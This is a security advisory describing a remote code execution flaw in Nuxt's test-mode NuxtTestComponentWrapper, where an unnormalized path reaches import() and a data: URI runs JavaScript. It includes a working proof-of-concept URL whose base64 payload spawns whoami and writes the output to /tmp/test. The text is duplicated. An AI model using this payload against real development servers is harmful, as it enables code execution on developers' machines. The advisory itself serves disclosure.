Summary
Due to the insufficient validation of the path
parameter in the NuxtTestComponentWrapper, an attacker can execute arbitrary JavaScript on the server side, which allows them to execute arbitrary commands.
Details
While running the test, a special component named NuxtTestComponentWrapper
is available.
https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/nuxt-root.vue#L42-L43
This component loads the specified path as a component and renders it.
https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L9-L27
There is a validation for the path
parameter to check whether the path traversal is performed, but this check is not sufficient.
https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L15-L19
Since import(...)
uses query.path
instead of the normalized path
, a non-normalized URL can reach the import(...)
function.
For example, passing something like ./components/test
normalizes path
to /root/directory/components/test
, but import(...)
still receives ./components/test
.
By using this behavior, it's possible to load arbitrary JavaScript by using the path like the following:
data:text/javascript;base64,Y29uc29sZS5sb2coMSk
Since resolve(...)
resolves the filesystem path, not the URI, the above URI is treated as a relative path, but import(...)
sees it as an absolute URI, and loads it as a JavaScript.
PoC
- Create a nuxt project and run it in the test mode:
npx nuxi@latest init test
cd test
TEST=true npm run dev
- Open the following URL:
http://localhost:3000/__nuxt_component_test__/?path=data%3Atext%2Fjavascript%3Bbase64%2CKGF3YWl0IGltcG9ydCgnZnMnKSkud3JpdGVGaWxlU3luYygnL3RtcC90ZXN0JywgKGF3YWl0IGltcG9ydCgnY2hpbGRfcHJvY2VzcycpKS5zcGF3blN5bmMoIndob2FtaSIpLnN0ZG91dCwgJ3V0Zi04Jyk
- Confirm that the output of
whoami
is written to /tmp/test
Demonstration video: https://www.youtube.com/watch?v=FI6mN8WbcE4
Impact
Users who open a malicious web page in the browser while running the test locally are affected by this vulnerability, which results in the remote code execution from the malicious web page.
Since web pages can send requests to arbitrary addresses, a malicious web page can repeatedly try to exploit this vulnerability, which then triggers the exploit when the test server starts.
References
Summary
Due to the insufficient validation of the
path
parameter in the NuxtTestComponentWrapper, an attacker can execute arbitrary JavaScript on the server side, which allows them to execute arbitrary commands.Details
While running the test, a special component named
NuxtTestComponentWrapper
is available.https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/nuxt-root.vue#L42-L43
This component loads the specified path as a component and renders it.
https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L9-L27
There is a validation for the
path
parameter to check whether the path traversal is performed, but this check is not sufficient.https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L15-L19
Since
import(...)
usesquery.path
instead of the normalizedpath
, a non-normalized URL can reach theimport(...)
function.For example, passing something like
./components/test
normalizespath
to/root/directory/components/test
, butimport(...)
still receives./components/test
.By using this behavior, it's possible to load arbitrary JavaScript by using the path like the following:
Since
resolve(...)
resolves the filesystem path, not the URI, the above URI is treated as a relative path, butimport(...)
sees it as an absolute URI, and loads it as a JavaScript.PoC
whoami
is written to/tmp/test
Demonstration video: https://www.youtube.com/watch?v=FI6mN8WbcE4
Impact
Users who open a malicious web page in the browser while running the test locally are affected by this vulnerability, which results in the remote code execution from the malicious web page.
Since web pages can send requests to arbitrary addresses, a malicious web page can repeatedly try to exploit this vulnerability, which then triggers the exploit when the test server starts.
References